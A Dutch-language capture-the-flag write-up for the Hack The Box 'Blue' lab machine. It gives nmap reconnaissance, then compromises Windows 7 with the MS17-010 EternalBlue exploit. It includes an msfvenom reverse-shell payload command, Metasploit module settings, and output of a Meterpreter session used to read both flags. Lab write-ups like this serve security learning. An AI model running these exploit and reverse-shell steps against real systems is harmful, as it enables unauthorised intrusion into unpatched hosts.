

Documentation Blue

We zullen eerst gaan kijken hoeveel TCP poorten er luisteren. We gaan dit doen aan de hand van het volgende commando:

```
1 nmap -p- -sC -sV 10.129.52.106 -vvvv
```

```
[eu-dedivip-2]-[10.10.14.126]-[hackthekat123@htb-k8uhx27q3v]-[~]  
[*]$ nmap -p- -sC -sV 10.129.52.106 -vvvv  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-12 18:26 CDT  
NSE: Loaded 156 scripts for scanning.  
NSE: Script Pre-scanning.  
NSE: Starting runlevel 1 (of 3) scan.  
Initiating NSE at 18:26  
Completed NSE at 18:26, 0.00s elapsed  
NSE: Starting runlevel 2 (of 3) scan.  
Initiating NSE at 18:26  
Completed NSE at 18:26, 0.00s elapsed  
NSE: Starting runlevel 3 (of 3) scan.  
Initiating NSE at 18:26  
Completed NSE at 18:26, 0.00s elapsed  
Initiating Ping Scan at 18:26  
Scanning 10.129.52.106 [4 ports]
```

Door deze scan uitvoeren weten welke poorten er allemaal luisteren.

3 Three-digits numbers dat luisteren:

135 = msrpc

139 = netbios-ssn

445 = microsoft-ds

6 five-digits numbers dat luisteren:

49152 = msrpc

49153 = msrpc

49154 = msrpc

49155 = msrpc

49156 = msrpc

49157 = msrpc

```

not shown: 65528 closed tcp ports (reset)
PORT      STATE SERVICE      REASON          VERSION
135/tcp    open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp    open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds syn-ack ttl 127 Windows 7 Professional 7601 Service
Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49153/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49154/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49155/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49156/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49157/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

```

Nu kunnen we gaan zoeken naar de host van de machine. Dit kunnen we gaan zien vanuit de volgende foto.

```

smb-os-discovery:
  OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professiona
  OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
  Computer name: haris-PC
  NetBIOS computer name: HARIS-PC\x00
  Workgroup: WORKGROUP\x00
  System time: 2024-07-13T00:35:38+01:00
smb2-security-mode:
  2:1:0:
    Message signing enabled but not required
clock-skew: mean: -19m56s, deviation: 34m36s, median: 1s
p2p-conficker:
  Checking for Conficker.C or higher...
  Check 1 (port: 61062/tcp): CLEAN (Could not connect)

```

We zien ook dat het operatingsysteem waarop de host actief is, Windows 7 is. Nu eens we dit weten, ben ik op het internet gaan zoeken naar een exploit voor de os waarop de host zich bevindt.

Op het internet heb ik volgende gevonden:



De ms17-010 is de exploit dat we zullen gaan gebruiken. Hiervoor hebben we 2 opties voor de exploit te gaan doen. We hebben de manuele versie en we hebben de automatische versie waarbij we dan al direct de root rechten hebben op de machine.

Dit is de manuele versie:

We zullen de exploit gaan downloaden via github door het volgende commando uittevoeren:

```
1 Git clone
```

Daarna zullen we het stappenplan dat op de exploit staat gaan volgen en uitvoeren:

```
[eu-dedivip-2]-[10.10.14.126]-[hackthekat123@htb-k8uhx27q3v]-[~/Pwning_Blue_From_HTB_Without_Metasploit]
[*]$ msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.126 LPORT=9999 -> eternal-blue.exe
```

De automatische versie bij het uitvoeren van de exploit:

We zullen als eerst een database moeten aanmaken aan de hand van het volgende commando:

```
1 sudo msfdb init
```

Eens dit gedaan is kunnen we de msfconsole gaan starten aan de hand van het volgende commando:

```
1 msfconsole
```

Daar zullen we gaan navigeren naar het volgende pad aan de hand van het volgende commando:

```
1 use exploit/windows/smb/ms17_010_eternalblue
```

```
[msf](Jobs:0 Agents:0) >> use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
```

Eens we in dit pad zijn zullen we het ip address gaan zetten waarop we de exploit zouden willen uitvoeren. Dit zullen we gaan doen aan de hand van het volgende commando:

```
1 set RHOSTS 10.129.194.7
```

```
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set RHOSTS 10.129.194.7
RHOSTS => 10.129.194.7
```

Nu zullen we ook ons eigen ip address moeten meegeven. Dit zullen we doen aan de hand van het volgende commando:

```
1 set LHOST <IP ADDRESS>
```

```
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set LHOST 10.10.14.47
LHOST => 10.10.14.47
```

Nu zullen we de code gaan uitvoeren en zullen we connectie hebben met de machine.

De exploit gaan uitvoeren doen we aan de hand van het volgende commando:

```
1 run -S of run //
```

```
[*] 10.129.194.7:445 - Sending last fragment of exploit packet!
[*] 10.129.194.7:445 - Receiving response from exploit packet
[+] 10.129.194.7:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.194.7:445 - Sending egg to corrupted connection.
[*] 10.129.194.7:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.129.194.7
[*] Meterpreter session 2 opened (10.10.14.47:4444 -> 10.129.194.7:49167) at 2024-07-27 12:42:46
-0500
[+] 10.129.194.7:445 - =====
[+] 10.129.194.7:445 - =====WIN=====
[+] 10.129.194.7:445 - =====

(Meterpreter 2)(C:\Windows\system32) > ls
Listing: C:\Windows\system32
=====
```

Eens we nu geconnecteerd zijn aan de machine zullen we gaan navigeren naar het volgende pad:

```
1 cd C:\Users\haris\desktop
```

In dit pad vinden we onze eerste flag in het bestand user.txt.

```
(Meterpreter 2)(C:\Users\haris) > cd Desktop\
(Meterpreter 2)(C:\Users\haris\Desktop) > ls
Listing: C:\Users\haris\Desktop
=====

Mode                Size  Type  Last modified          Name
----                -
100666/rw-rw-rw-   282  fil   2017-07-15 02:58:32 -0500 desktop.ini
100444/r--r--r--   34   fil   2024-07-27 11:51:52 -0500 user.txt

(Meterpreter 2)(C:\Users\haris\Desktop) > user.txt
[-] Unknown command: user.txt
(Meterpreter 2)(C:\Users\haris\Desktop) > type user.txt
[-] Unknown command: type
(Meterpreter 2)(C:\Users\haris\Desktop) > gc user.txt
[-] Unknown command: gc
(Meterpreter 2)(C:\Users\haris\Desktop) > notepad user.txt
[-] Unknown command: notepad
(Meterpreter 2)(C:\Users\haris\Desktop) > cat user.txt
5b211a2aa32ef57988eb4f7ae754fdf1
```

Nu zullen we gaan zoeken achter de flag van de administrator. Als we hierbij logische zullen gaan nadenken, zal de flag bij de user administrator zitten dus zullen we nu dan gaan navigeren naar de het pad van de administrator. Dit zullen we gaan doen aan de hand van het volgende commando:

```
1 cd C:\Users\Administrator\desktop
```

Hier zullen we zien dat er een bestand root.txt bestaat en dat dit waarschijnlijk de 2de flag zal zijn.

```
(Meterpreter 2)(C:\Users\Administrator\Desktop) > ls
Listing: C:\Users\Administrator\Desktop
=====

Mode                Size  Type  Last modified          Name
----                -
100666/rw-rw-rw-   282  fil   2017-07-21 01:56:40 -0500 desktop.ini
100444/r--r--r--   34   fil   2024-07-27 11:51:52 -0500 root.txt
```

```
(Meterpreter 2)(C:\Users\Administrator\Desktop) > cat root.txt  
95990b2cff4f228e69998c18e6bc7460
```

Nu hebben we alle flags gevonden en is de machine gehacked.

